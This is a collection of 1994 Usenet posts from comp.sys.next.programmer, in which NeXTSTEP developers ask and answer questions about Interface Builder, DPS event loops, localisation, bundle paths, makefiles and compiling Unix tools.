From: joe@retina.anatomy.upenn.edu (Joe Panico) Newsgroups: comp.sys.next.programmer Subject: windows larger than screen in IB? Date: 9 Feb 1994 11:14:12 GMT Organization: Dept. of Neuroscience, U. of Pennsylvania Distribution: world Message-ID: <2jagi4$st0@netnews.upenn.edu> Hi, I would like to design a data entry form that is larger than the size of a single screen, and I would like to put this inside a scrollview. Something like the help window in IB where the user can scroll out of sight controls into view. How does one design (using IB) a window (of any kind) that is larger than the size of the screen? Thanks in advance. Joe Panico joe@retina.anatomy.upenn.edu
Newsgroups: comp.sys.next.programmer From: flight@mathi.uni-heidelberg.de (Gregor Hoffleit) Subject: Text as shell: How to control Pasteboard operations Message-ID: <1994Feb9.134802.17952@sun0.urz.uni-heidelberg.de> Sender: news@sun0.urz.uni-heidelberg.de (NetNews) Organization: University of Heidelberg, Germany Date: Wed, 9 Feb 94 13:48:02 GMT A week ago, I asked how I could make a Text object behave like a shell, i.e. that you can edit only the last line. I received some answers (thanks!) that all told me to use setCharFilter: or setTextFilter: to implement my own filter. Well, that worked and prevents keyboard entries before a certain position. But it doesn't prevent Cut/Copy/Paste operations in the protected area, because they don't use the TextFilter function. The only method I found to get notified of a Pasteboard operation is to implement a textWillChange: method in the text delegate, but this method is only called before the FIRST change in the text after the text view became the windows's first responder. Now I have no idea how I could tell Text to notify me before of EACH modification of its contents. There's another notification method, textDidGetKeys:empty:, that get's called AFTER each modification, but it seems not very smart to undo these modifications, and worse, I don't know how to find what exactly was modified in the text after a textDidGetKeys:. I think my aim is kind of a clone of XViews TTYSW, that means a frontend for shells that uses Text's editing facilities, and not the shell one's. Any help ? Gregor -- | Gregor Hoffleit admin MATHInet / contact HeidelNeXT | | MAIL: Mathematisches Institut PHONE: (49)6221 56-5771 | | INF 288, 69120 Heidelberg / Germany FAX: 56-3812 | | EMAIL: flight@mathi.uni-heidelberg.de (NeXTmail) |
Newsgroups: comp.sys.next.programmer From: ericb@il.us.swissbank.com (Eric_Brown) Subject: Re: Faceless apps Message-ID: <1994Feb9.135442.20399@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <1994Feb8.155346.9709@planon.qc.ca> Date: Wed, 9 Feb 1994 13:54:42 GMT Yanik Crepeau writes > I want to write applications that monitors incoming messages from serial connections > and/or TCP/IP telnet type connections. > > With AppKit, that is an easy task. > > I use: > > tag = DPSAddTimedEntry(1000.0, timedhandler, self, NX_MODALRESPTHRESHOLD); > > and a handler to get a "beat" once per second. > > and > > DPSAddFD(fd, (DPSFDProc)fdhandler, self, 30); > > to instruct the Display Postcript System to monitor if there is any incoming characters > waiting to be handled. > > I want to write applications that will be lauched when the computer starts and run in > background. Using Distributed Objects, the regular NeXTSTEP applications would be able to > get data from these faceless applications. I want background/faceless applications > because I don't want to be at the mercy of an user that make a logout from his/her > account. > > Someone has an idea of how to get the faceless services of DPS? > > In order to do this, you perform any DPSAddFD() and DPSAddTimedEntry() calls that you want. Then you need to set up an event loop similar to what the AppKit does with the [application run] method. You should use DPSGetEvent() (and maybe DPSPeekEvent()). The loop would look something like this: { NXEvent theEvent; // your DPSAddFD()'s and DPSAddTimedEntry()'s here while (DPSGetEvent( DPSGetCurrentContext(), &theEvent, NX_ALLEVENTS, NX_FOREVER, 31)); // ... } It may be that you have to do a while(DPSPeekEvent(...)) DPSGetEvent(...); instead, but it's been a little while since I've used this so I'm not sure. Here is a description of the parameters: 1 (context): uses the current PS context of the program (can also be DPS_ALLCONTEXTS) 2 (event): The NXEvent struct to put the event info into 3 (mask): The mask of event types to be returned 4 (timeout): How long to wait for next event 5 (threshold): Used to determine what level of priority (threshold) of events that should be let through > > > -- > Yanik Crepeau The power of OOP used to stop when > Programmer the programmer typed "make". With > Planon Telexpertise NEXTSTEP and PDO, that is not true > E-Mail: yanik@planon.qc.ca (NeXT) anymore! -- _______________________________________________________________ / Eric Brown | The opinions expressed here \ | NEXTSTEP Consultant | are mine and do not necessarily | | CG Computer Services | represent those of my employer | | ericb@il.us.swissbank.com | or SBC. | \___________________________|___________________________________/
From: schaefer@denali.gsfc.nasa.gov (Martha W. Schaefer) Newsgroups: comp.sys.next.programmer Subject: mysterious problem Date: 9 Feb 1994 16:22:18 GMT Organization: NASA/GSFC Laboratory for Terrestrial Physics Sender: schaefer@denali (Martha W. Schaefer) Distribution: world Message-ID: <2jb2jr$6jo@paperboy.gsfc.nasa.gov> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit This may be a really stupid question, but here goes. I am working on my very first app that I have done by myself (as opposed to following the instructions in a book). It is a really simple app that is supposed to play a sound when a button is pushed. If I run it using gdb, it works fine and exits normally. If I go inside the app wrapper and run it using the command line, it works fine and exits normally. If I start it by double-clicking on the app icon, or by using the RUN button in the project manager, it just exits abnormally without doing anything. I am using 3.0 on black hardware. (I plan to upgrade to 3.2 when NeXT gets around to sending it to me!) Thanks for any assistance, Martha Schaefer schaefer@denali.gsfc.nasa.gov (No NeXTmail at this address, please)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: cmsg cancel <2jb5dt$js@steffi.demon.co.uk> Control: cancel <2jb5dt$js@steffi.demon.co.uk> Date: 9 Feb 1994 17:10:45 -0000 Organization: me organized? That's a joke! Message-ID: <2jb5el$ku@steffi.demon.co.uk> <2jb5dt$js@steffi.demon.co.uk> was cancelled from within trn. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: gerti@tms-gmbh.de (Gerd Knops) Newsgroups: comp.sys.next.programmer Subject: re: pilgrim needs help Date: 9 Feb 1994 11:51:39 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9402091704.AA01139@Cranach.tms-gmbh.de> eno@ecom.com (Eno Compton) writes: > My app gets lots of appDiDInit messages. That should not be. Did you mess with the 'xx_main.m-file? It sounds like you got several [NXApp run] calls. > I'm displaying a text file in a scrollview. The file contains tabs > that screw up the display. Must I expand the tabs with spaces or is > there a way to specify tab stops in plain text? I assume, that you want a different spacing for the tabs in the text scrollview then the default spacing. This can be done with IB, though its not obvious. If the textobject in the scrollview contains at least one character (eg a space), you can define the ruler from within IB: Put the space in the textobject, select all, turn the ruler on, define the tabs, and turn of the ruler. The space HAS to stay in the Scrollview!!! Otherwise the ruler gets deleted... > [stuff deleted] Is a filter the way to do this? I am not sure, wether a character filter or a text filter intercepts the stream. Anybody? Gerd
Newsgroups: comp.sys.next.programmer From: Atze (Alexander Spohr) Subject: Re: need to init a popUpList (inconsistency with dbkit) Message-ID: <1994Feb9.191056.4281@dart.de> Sender: aspohr@dart.de Organization: d'ART Software GmbH References: <1994Feb2.192001.29476@bozell.com> Date: Wed, 9 Feb 94 19:10:56 GMT In article <1994Feb2.192001.29476@bozell.com> jmartin@Dallas.Bozell.com (Jeff Martin) writes: > ["Everybody wants to do something to PopUpLists" deleted] > All you guys out there: BE WARNED! > id popUpList = [popUpButton target]; > id popUpMatrix = [popUpList itemList]; This code is going to crash your app if you use dbkit and drag a property in IB on your PopUpList cover-Button. What you get in popUpList after that call is NOT the PopUpList, it's a DBPopUpListAssociation and it will not understand -itemList. This is reported to NeXT as an inconsistency between appkit and dbkit. So what to do then? DBPopUpListAssociation don't understand popUpList either. You have two chances to get the PopUpList (maybe to send it -free after your Window is gone?) a) drag a connection in IB to the PopUpList, not to the Button. This works if you open the PopUpList with double-clicking it and connecting the whole thing like it where a Matrix. b) use the following stuff at your own risk. And don't blame me if NeXT changes the interface to PopUpLists!!! @interface DBPopUpAssociation:DBAssociation { id _popupList; id _recordList; id _displayProp; int _tag; } @end @implementation DBPopUpAssociation(PBSControl) - popupList { return _popupList; } @end Have fun! Atze -- Alexander Spohr, Hamburg, Germany Alexander_Spohr@dART.de (Mail ) Faces and faces (+49) 40 / 380 23-0 (Sound) See them and complain not (+49) 40 / 380 23-290 (Fax ) And am content with all
Newsgroups: comp.sys.next.programmer From: kincaid@next1.mc.maricopa.edu (Brad Kincaid) Subject: NeXT Help system info wanted Message-ID: <CKynoH.FHt@ennews.eas.asu.edu> Keywords: Help NeXT Sender: news@ennews.eas.asu.edu (USENET News System) Organization: Arizona State University Date: Wed, 9 Feb 1994 14:17:03 GMT We are looking for information on how to implement the NeXT-style Help system that seems to be fairly standard in most NeXT apps these days. Surely, everyone is not developing those from scratch in each implementation. It may not be the best help system, but it will serve our purposes. Thanks for any info you can provide. Brad -- W.B. Kincaid, Ph.D. Life Science Department Mesa Community College 1833 W. Southern Ave. Mesa, AZ 85202 kincaid@next.mc.maricopa.edu
From: paulc@leland.stanford.edu (Paul Chong) Newsgroups: comp.sys.next.programmer Subject: Anyone have 3COM Etherlink III (3C509) TP? Date: 10 Feb 1994 01:12:53 GMT Organization: Stanford University Message-ID: <2jc1ml$8je@nntp2.Stanford.EDU> Has anyone gotten the 3COM Etherlink III (3c509) twisted pair to work with NS/I?? The compatibility list states that TP is NOT supported and requires a Driver update, whatever that means. Thanks in advance! Please email. -Paul paulc@leland.stanford.edu
Newsgroups: comp.sys.next.programmer From: paccorti@nextsrv1.andi.org (Peter Accorti) Subject: Multiple Languages Message-ID: <CKznIz.1JA@nextsrv1.andi.org> Keywords: language Sender: usenet@nextsrv1.andi.org (usenet) Organization: Association of NeXTSTEP Developers International Date: Thu, 10 Feb 1994 03:11:23 GMT I'm attempting to program an app that can easily be operated for multiple languages (english, german, french, etc.). It seems that the conventional wisdom is to have multiple copies of nib files with the language dependent parts changed. Presumably the menu, title bars etc. would be different but all the other parts of the nib would be just copied. If this is the case doesn't this cause the app bundle to be very large just for language independence? From a coding standpoint it also seems to be a pain to make sure that everything is in sync (non-text feature wise). Why not have the language dependent text in NXStringTable loadable files? Just load the file you want (english, german, etc) during app startup. This way there is no duplication of non-text nib features. Am I missing something here? Peter Accorti
Newsgroups: comp.sys.next.programmer From: drew@fnbc.com (Drew Davidson) Subject: Re: OpenPanel: how to set directory? Message-ID: <1994Feb9.155926.4408@fnbc.com> Sender: news@fnbc.com Organization: First National Bank Of Chicago, Chicago IL, USA References: <2j61or$pg4@apollo.it.luc.edu> Date: Wed, 9 Feb 94 15:59:26 GMT In article <2j61or$pg4@apollo.it.luc.edu> dreed@orion.it.luc.edu (Dale F. Reed) writes: [compressed] > Try the following: > > int pthlen, char *path, char tmp[1024]; > path = NXArgv[0]; > > This gives you the launch path. Now we cut of the app name > pathlen = strlen(path); > while(path[pathlen-1] != '/') { > pathlen--; > } > > Now we have the dir from which the app was launched. I don't know where > your "sound" dir is but you probably have to set that right. > > strncpy(tmp,path,pathlen); > strcpy(tmp + pathlen,"Sound"); > > tmp is now the absolute path. > > Thanks Dan! :-) Or the even simpler & more elegant: { char path[MAXPATHLEN+1]; strcat(strcpy(path,[[NXBundle mainBundle] directory]),"/Sounds"); } - Drew -- +--------------------------------+---------------------------------------+ | Drew Davidson - Software Guy | "When I'm a good dog they sometimes | | First National Bank of Chicago | throw me a bone..." - Pink Floyd | | drew@fnbc.com (NeXTmail) | "C++ is the false god of OOP" - sam | +--------------------------------+---------------------------------------+
Newsgroups: comp.sys.next.programmer From: Michael_Pizolato@afs.com (Michael Pizolato) Subject: Re: Is Objective - C a dead language ? Message-ID: <1994Feb9.162359.598@afs.com> Sender: Michael_Pizolato@afs.com References: <t9%@byu.edu> Date: Wed, 9 Feb 1994 16:23:59 GMT Don Yacktman writes [snip] >Everytime this debate comes up it is silly. The answer is always >simple: ObjC has features I would never want to give up, they >are that important. C++ has features that ObjC lacks that are >nice even if the syntax is messy. So use ObjC++ and get both, >and be happy. Use the right tool for the job at hand... Thank you, Don, for a reasonable viewpoint. In my career, I have written programs in at least 20 different languages. You use the tool that does the job, and, as Fearless Leader says, "end of story." If C++ solves the problem at hand better than Objective-C, use it. It's easier to "write" windows on a NeXT if you use InterfaceBuilder rather than Objective-C. So use it. The onus is on compilers to generate code that works with code generated by other compilers. If they do that, then hell, use COBOL (gasp!) if it suits the situation. Smalltalk, Lisp, Pascal, Fortran, PL/1, Ada, Modula-2, Concurrent Euclid, CSP/k, Algol, APL, SNOBOL, assembler, csh, DCL, DOS batch commands, whatever. We have a major product which is as "mission-critical" as it gets for the people we sell it to. It's written in Basic. So what? Get over it. Thanx, Michael -- Michael_Pizolato@afs.com "Schopenhauer's not as optimistic as Nietzsche, NeXTMail accepted but he makes up for it by being less cheerful than Kierkegaard." - Kim Pizolato
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: OpenPanel: how to set directory? Date: 10 Feb 1994 08:48:25 -0000 Organization: me organized? That's a joke! Message-ID: <2jcscp$15q@steffi.demon.co.uk> References: <2j61or$pg4@apollo.it.luc.edu> <1994Feb9.155926.4408@fnbc.com> drew@fnbc.com wrote in comp.sys.next.programmer >Or the even simpler & more elegant: > >{ char path[MAXPATHLEN+1]; > > strcat(strcpy(path,[[NXBundle mainBundle] directory]),"/Sounds"); >} > >- Drew >-- >+--------------------------------+---------------------------------------+ >| Drew Davidson - Software Guy | "When I'm a good dog they sometimes | >| First National Bank of Chicago | throw me a bone..." - Pink Floyd | >| drew@fnbc.com (NeXTmail) | "C++ is the false god of OOP" - sam | >+--------------------------------+---------------------------------------+ Even simpler and yet more elegant. sprintf(path,"%s/%s",[[NXBundle mainBundle] directory],"Sounds"); -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: morbe@enstb.enst-bretagne.fr (MORBE Olivier) Newsgroups: comp.sys.next.programmer Subject: sockaddr and sockaddr_in on a NeXT Station Message-ID: <686@enstb.enst-bretagne.fr> Date: 10 Feb 94 07:39:58 GMT Sender: news@enstb.enst-bretagne.fr Organization: Ecole Nationale Superieure des Telecommunications de Bretagne, Brest FRANCE Well, my problem is that my NeXT Station does not accept, when compiling with PB a : bind (sock_from_slave, &slave, sizeof (slave)) where slave is : struct sockaddr_in slave. I've included : #include <netinet/in.h> It just wants a struct sockaddr is a cast good enough to solve that ? any ideas ? Olivier --- ============================================================= === Olivier Morbe ENST de Bretagne === === e-mail: B.P. 832 === === morbe@enstb.enst-bretagne.fr 29285 BREST === =============================================================
From: schaefer@denali.gsfc.nasa.gov (Martha W. Schaefer) Newsgroups: comp.sys.next.programmer Subject: cmsg cancel <2jb2jr$6jo@paperboy.gsfc.nasa.gov> Control: cancel <2jb2jr$6jo@paperboy.gsfc.nasa.gov> Date: 10 Feb 1994 14:42:18 GMT Organization: NASA Goddard Space Flight Center -- InterNetNews site Distribution: world Message-ID: <2jdh4a$pm8@paperboy.gsfc.nasa.gov> References: <2jb2jr$6jo@paperboy.gsfc.nasa.gov> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit
From: u9006869@athmail1.causeway.qub.ac.uk (Darren Aitcheson) Newsgroups: comp.sys.next.programmer Subject: Calendar Palette Required!!! Date: 10 Feb 1994 10:13:27 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9402101542.AA03801@bot26> Yes folks, I know I should be able to do this myself, but your help is required. Has anybody written a calendar object (with buttons for selecting a date, etc.) which can be dragged from the IB palette? It's for a final year project, so your help would be greatly appreciated!!! Darren Aitcheson (u9006869@athmail1.causeway.qub.ac.uk) Queen's University of Belfast (a *big* Ren & Stimpy fan)
Newsgroups: comp.sys.next.programmer From: ericb@il.us.swissbank.com (Eric_Brown) Subject: Re: Multiple Languages Message-ID: <1994Feb10.152951.28169@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <CKznIz.1JA@nextsrv1.andi.org> Date: Thu, 10 Feb 1994 15:29:51 GMT Peter Accorti writes > I'm attempting to program an app that can easily be operated for multiple > languages (english, german, french, etc.). It seems that the conventional > wisdom is to have multiple copies of nib files with the language dependent > parts changed. Presumably the menu, title bars etc. would be different > but all the other parts of the nib would be just copied. If this is the > case doesn't this cause the app bundle to be very large just for language > independence? From a coding standpoint it also seems to be a pain to make > sure that everything is in sync (non-text feature wise). Why not have the > language dependent text in NXStringTable loadable files? Just load the > file you want (english, german, etc) during app startup. This way there > is no duplication of non-text nib features. Am I missing something here? > > Peter Accorti In theory, this is a good idea. However, most of the time you will run into the problem where the strings in different languages will be different lengths. This will cause many problems in your nibs where you have set up the textfield and title sizes to match the strings of one language, and then a longer string from a second language doesn't fit or messes up the carefully planned placement of your interface objects (you did carefully plan those placements, didn't you? :-) It still would be nice if we didn't have to duplicate all of the information in the nibs for each language, but for the most part nibs tend to be pretty small, so there isn't too much cost in terms of storage. - Eric -- _______________________________________________________________ / Eric Brown | The opinions expressed here \ | NEXTSTEP Consultant | are mine and do not necessarily | | CG Computer Services | represent those of my employer | | ericb@il.us.swissbank.com | or SBC. | \___________________________|___________________________________/
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Next IB Template class question. Date: 10 Feb 1994 13:34:10 -0000 Organization: me organized? That's a joke! Message-ID: <2jdd4i$34p@steffi.demon.co.uk> I'm writing a palette which messages objects in IB edit mode. My palette relies on the Object's runtime type. Currently, I am unable to perform dynamic binding on IB's template objects. ie. DBModuleTemplate, MenuTemplate, WindowTemplate as all of these are actually subclasses of Object so there's very little type information available. To the authors of IB. (JMH) Is there anyway that you can provide a psuedo mechanism that enables me to determine the "real" type of these Template objects. ie. one that fits directly into the runtime so that methods will be bound accordingly. Kind of a split dispatch mechanism. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: thf@zelator.de (Thomas Funke) Subject: Re: Is Objective - C a dead language ? Message-ID: <1994Feb9.235943.1578@gamelan.uucp> Sender: thomas@gamelan.uucp (thomas) Organization: Disorganization References: <t9%@byu.edu> Date: Wed, 9 Feb 1994 23:59:43 GMT In article <t9%@byu.edu> writes: > simple: ObjC has features I would never want to give up, they are > that important. C++ has features that ObjC lacks that are nice > even if the syntax is messy. It's true that a lot of C++'s syntax is messy. But on the other hand, you can write things like String s ("\n"); s = "Hello " + "world" + s; Which is ugly with any ObjC-Classlibrary. And most of the NeXT hackers still use strcpy() etc. for stuff like this. One of the reasons why many NeXT-Apps still end with Segmentation fault. Core dumped. -- ------------------------------------------------------------------ Thomas Funke ** Unix-Consultant ** thf@zelator.de Brooks's Law: Adding manpower to a late software project makes it later ------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: thf@zelator.de (Thomas Funke) Subject: Re: problem with -posix Message-ID: <1994Feb10.000311.1688@gamelan.uucp> Sender: thomas@gamelan.uucp (thomas) Organization: Disorganization References: <1994Feb8.005037.13053@hot.com> Date: Thu, 10 Feb 1994 00:03:11 GMT In article <1994Feb8.005037.13053@hot.com> Robert La Ferla <Robert_La_Ferla@hot.com> writes: > Try -lsys_s. I read somewehre that programs which use the Appkit should not be compiled with POSIX mode. So it seems only dumb unix apps can be compiled with -posix. -- ------------------------------------------------------------------ Thomas Funke ** Unix-Consultant ** thf@zelator.de Brooks's Law: Adding manpower to a late software project makes it later ------------------------------------------------------------------
From: stepan@gomidas.mi.org (Stepan Stepanian) Newsgroups: comp.lang.objective-c,comp.sys.next.programmer Subject: Subclass conforming to protocol Date: 10 Feb 1994 19:54:35 GMT Organization: University of Michigan EECS Dept. Distribution: world Message-ID: <2je3dr$jtd@zip.eecs.umich.edu> Keywords: Subclass formal protocol Suppose object SubA is subclass of an object A and inherits its method "someMethod". Suppose also that the same method is included in <SomeFormalProtocol> to which the object SubA conforms. Because SubA inherits "someMethod", one would think it should satisfy <SomeFormalProtocol> requirements. In reality, the compiler complains that "someMethod" is not defined for SubA, so the SubA "...does not fully implement the <SomeFormalProtocol>". Is there any way to avoid having to explicitly define the method in cases like this? S.Stepanian
Newsgroups: comp.sys.next.programmer From: bakerb@il.us.swissbank.com (Brian Baker) Subject: Question about NeXT's Makefiles Message-ID: <1994Feb10.200225.245@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Thu, 10 Feb 1994 20:02:25 GMT Greetings, I'd like to place a file in the root directory of a project, and have it included by the Makefile.preamble files in the root and in all subprojects, no matter how deeply they may be nested. I was hoping (and expecting) to find a macro defined in the NeXT makefiles which pointed to the root of the project, so I could do something like: - include $(root_of_project)/Makefile.zoinks in each Makefile.preamble. But after checking some likely-sounding macros, such as PRODUCT_ROOT, TOP_PRODUCT_ROOT, and PRODUCT, I find that none of them are defined for the builds of subprojects. If anyone knows of the macro I seek, or has an alternative suggestion for how I might achieve the same result, I'd like to hear from you. Many thanks, Brian Baker bakerb@swissbank.com bbaker@its.com
From: edmtl@alf.uib.no (Thor Legvold) Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.misc Subject: Problems compiling macutil 2.0b1 on NS3.2 Date: 10 Feb 1994 22:50:26 +0100 Organization: University of Bergen Message-ID: <2jea72$63p@alf.uib.no> Not being fluent in C, I have no idea how to get this to compile cleanly (or at all). No smart answers like "type make"... ;-) Here is where it stopped: (cd fileio; make CF='-DBSD -DTYPES_H -DDIRENT_H -DNODOT -DLATIN1 -DNOMKDIR') cc -O -DBSD -DTYPES_H -DDIRENT_H -DNODOT -DLATIN1 -DNOMKDIR -c wrfile.c cc -O -DBSD -DTYPES_H -DDIRENT_H -DNODOT -DLATIN1 -DNOMKDIR -c rdfile.c rdfile.c:641: undefined type, found `DIR' *** Exit 1 Stop. *** Exit 1 Stop. The function in question is this: static void enter_dir() { DIR *directory; struct dirstruct *curentry; FILE *fd; int n, j, namlen; int listsize, cursize; char *filetable; filelist *new_files; I tried on a SunOS 4.1.3 system, and it reported no errors (well, not here anyway :-) Please e-mail suggestions. Regards, -- Thor Legvold | This is the strangest life NorNeXT User Group leader | I've ever known... University of Bergen | - Jim Morrison, The Doors Norway | edmtl@fiol.uib.no (NeXTmail)
From: wright@spock.glv.com (Jeff Wright) Newsgroups: comp.sys.next.programmer Subject: expect 4 on NS 3.2? Keywords: expect, POSIX Message-ID: <1994Feb10.211852.19218@glv.uucp> Date: 10 Feb 94 21:18:52 GMT Sender: usenet@glv.uucp Organization: Encompass Well, here we go again, some guy trying to compile expect on a NeXT. Sorry, I can't find any references on our news server. I grabbed the latest expect (4.8) off the main ftp site, since the most recent NeXT version I could was 3.x on cs.orst.edu. In attempting to link, it complained that it couldn't find three POSIX functions (setsid, tcsetattr, tcgetattr). I first tried adding -posix to CFLAGS, but the C files wouldn't compile with this option (cc complained about including stuff that shouldn't be included). Then I tried add -lposix to the link statement, and the build succeeded. Well, I started playing with my new expect some and discovered at least one problem -- glob doesn't seem to work. So.... Does anybody know a better way to get expect 4.8 to compile properly (on a black 3.2 system) or an ftp site with expect version 4.x for NS? --Jeff Wright wright@spock.cen.encompass.com Encompass
From: bigMalc Newsgroups: comp.sys.next.programmer Subject: Problems launching from Workspace/Dock Date: 10 Feb 1994 07:14:07 GMT Organization: Swiss Bank Corporation, High Timber St, London, UK Message-ID: <2jcmrv$i3d@gpo.gb.swissbank.com> I was advised to repost this to c.s.n.p from c.s.n.s as a reply there suggested it may be caused by program error. ---- We have a weird problem with an in house trading application called FOS which manifests itself only with a particular user on a particular (networked) machine. If you launch the application either from the dock or from the workspace the application will eventually hang when you either move a window or attempt to close a window. The weird thing is when you start the application from the command line then everything is fine! The problem, I guess, centres around the user defaults which, from time to time (but NOT every time), are corrupted if the application is launced from the dock or from the workspace. Even weirder - you can log on to his machine as a different user and all is OK (application sits in LocalApps so they are accessing the same executable, using same Op System but different defaults) and you can log on as the troubled user on a different machine and everything is OK (diffrent application executable same defaults)! But - if you launch the application from the command line by FOS.app/FOS -MachLaunch (Blah) then the application hangs so I guess that the problem is the -MachLaunch bit. We have tried all 'obvious' things (change defaults, reinitialise defaults. etc) and nowt seems to work. Any help would be greatly appreciated. Thanks, bigMalc (no sig)
From: griffid@gb.swissbank.com (Dave Griffiths) Newsgroups: comp.sys.next.programmer Subject: Re: OpenPanel: how to set directory? Date: 10 Feb 1994 20:01:06 GMT Organization: Swiss Bank Corporation, High Timber St, London, UK Message-ID: <2je3q2$3dj@gpo.gb.swissbank.com> References: <2jcscp$15q@steffi.demon.co.uk> In article <2jcscp$15q@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: > Even simpler and yet more elegant. > > sprintf(path,"%s/%s",[[NXBundle mainBundle] directory],"Sounds"); Nah... sprintf(path,"%s/Sounds",[[NXBundle mainBundle] directory]); :) Dave Griffiths
From: rft@raven.tuwien.ac.at (Robert F Tobler) Newsgroups: comp.sys.next.programmer Subject: Re: Question about NeXT's Makefiles Date: 10 Feb 1994 22:23:58 GMT Organization: Technical University Vienna, Austria Message-ID: <2jec5u$bi5@email.tuwien.ac.at> References: <1994Feb10.200225.245@il.us.swissbank.com> There are three different variables for directorys: $(SRCROOT), $(SYMROOT), and $(OBJROOT) Initially they are all defined to be the directory where the Makefile resides. As to their exact use, look into /NextDeveloper/Makefiles/app Hope that helps Robert F. Tobler rft@raven.tuwien.ac.at
From: sanguish@digifix.com (Scott Anguish) Newsgroups: comp.sys.next.programmer Subject: LazyDebugger Palette Date: 10 Feb 1994 17:23:49 -0500 Organization: Digital Fix Development Distribution: world Message-ID: <2jec5l$cj0@digifix.digifix.com> I seem to have come across a palette called LazyDebugger at one point in time or another.... Does anyone know who wrote it, or where I can get a copy of it? If you have a copy, and don't mind emailing it, I can accept NextMail. Thanks Scott -- - Scott Anguish - sanguish@digifix.com (NextMail) next-announce@digifix.com (comp.sys.next.announce submissions)
From: bruce@pdh.com (Bruce McKenzie) Newsgroups: comp.sys.next.programmer Subject: Does File's Owner receive awakeFromNib? Date: 10 Feb 1994 16:47:14 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9402102245.AA10481@snowbird.pdh.com> Boy, do I feel dumb for not knowing this one... We have a simple class that loads a nib in one of its methods: @implementation MyClass:Object - doStuff { // set up path [NXApp loadNibFile:path owner:self withNames:NO fromZone:[self zone]]; // more stuff... } @end The File's Owner for the nib is of class MyClass. MyClass also implements an awakeFromNib method. Instances of MyClass are created with [[MyClass alloc] myDesignatedInitializer]. Please, enlighten me as to why MyClass's awakeFromNib is being called! The outlets for MyClass _are_ set up at this point, and the stack shows 'loadObjectData' and "nibInstantiateIn:" which sends MyClass an awakeFromNib. I've looked in NXNibNotificationProtocol, and I can't see any talk about this. Now, I have always (successfully) assumed that all outlets are set up immediately after the loadNibFile: is complete. Help! --- Bruce McKenzie (bruce@pdh.com, NeXTMail OK) PDH Inc. 2635 N. First St. Ste 224, San Jose, CA 95134 voice: 408/428-9596, fax: 408/428-9599 Epicenter: Section 127, Row 22, Seats 13-14 "He's with the Office of Unforeseen Atomic Events." * Opinions expressed are those of my own twisted mind, not my employer's * ---
From: zmonster@ATHENA.MIT.EDU (Eric M Hermanson) Newsgroups: comp.sys.next.programmer Subject: DPSRemoveTimedEntry Date: 10 Feb 1994 22:58:35 GMT Organization: Massachusetts Institute of Technology Distribution: world Message-ID: <2jee6r$5r9@senator-bedfellow.MIT.EDU> I have a simulation where I use a timed entry to call a method which stores data, every 0.5 seconds. When the simulation ends, I call DPSRemoveTimedEntry(saveData) DPSDiscardEvents(DPS_ALLCONTEXTS,NX_TIMER) free(data); which is supposed to remove the timed entry, and all corresponding timer events from the event queue. Then I free the data in another mehtod. The problem is, sometimes not all of the events are removed from the queue, and the program tries to save data which has already been freed up, and it crashes. What is the deal with these DPS functions? Are they guaranteed to remove all timers and events? The timed entry that I created has a threshold of NX_MODALRESPTHRESHOLD+1, for various reasons, could this be the problem? Are the timer events at too high of a threshold for them to be removed immediately from the queue like I need them to be? Thanks in advance for the help! Eric
From: hsr@cs.Stanford.EDU (Scott Roy) Newsgroups: comp.sys.next.programmer Subject: Re: Subclass conforming to protocol Date: 10 Feb 1994 23:37:12 GMT Organization: Stanford University: Computer Science Department Distribution: world Message-ID: <2jegf8$k9f@Times.Stanford.EDU> References: <2je3dr$jtd@zip.eecs.umich.edu> Stepan Stepanian writes | | [Why must a class that conforms to a protocol completely implement it?] | The compiler actually has a rather valid point. After all, just because the interface for class A declares a method, it doesn't mean the method actually exists. A 'conformsTo:' message sent to an instance of SubA should return YES, without needing to doublecheck via a 'respondsTo:' message for every method in the protocol. So the compiler wants to guarantee that some method really does exist, even if it does nothing. Otherwise, runtime checks via 'conformsTo:' would be fairly useless, and one would have to fall back on 'respondsTo:' to circumvent runtime errors. --- Scott Roy Department of Computer Science Stanford University
From: koehrsen@students.wisc.edu (Michael Koehrsen) Newsgroups: comp.sys.next.programmer Subject: other DBKit adaptors? Date: 10 Feb 1994 23:56:59 GMT Organization: Division of Information Technology Distribution: world Message-ID: <2jehkb$alp@news.doit.wisc.edu> Keywords: DBKit,database,adaptor I'd like to acquaint myself with the DBKit, but I don't have access to an Oracle or Sybase engine. I know there are a handful of free (if experimental) relational database engines floating around--has anyone written an adaptor for any of them? I'd actually be interested in building an adaptor myself; however, all the documentation seems to say about how to do it is that it is "beyond the scope of this manual". Can anyone point me to more information? Thanks. Michael Koehrsen koehrsen@students.wisc.edu
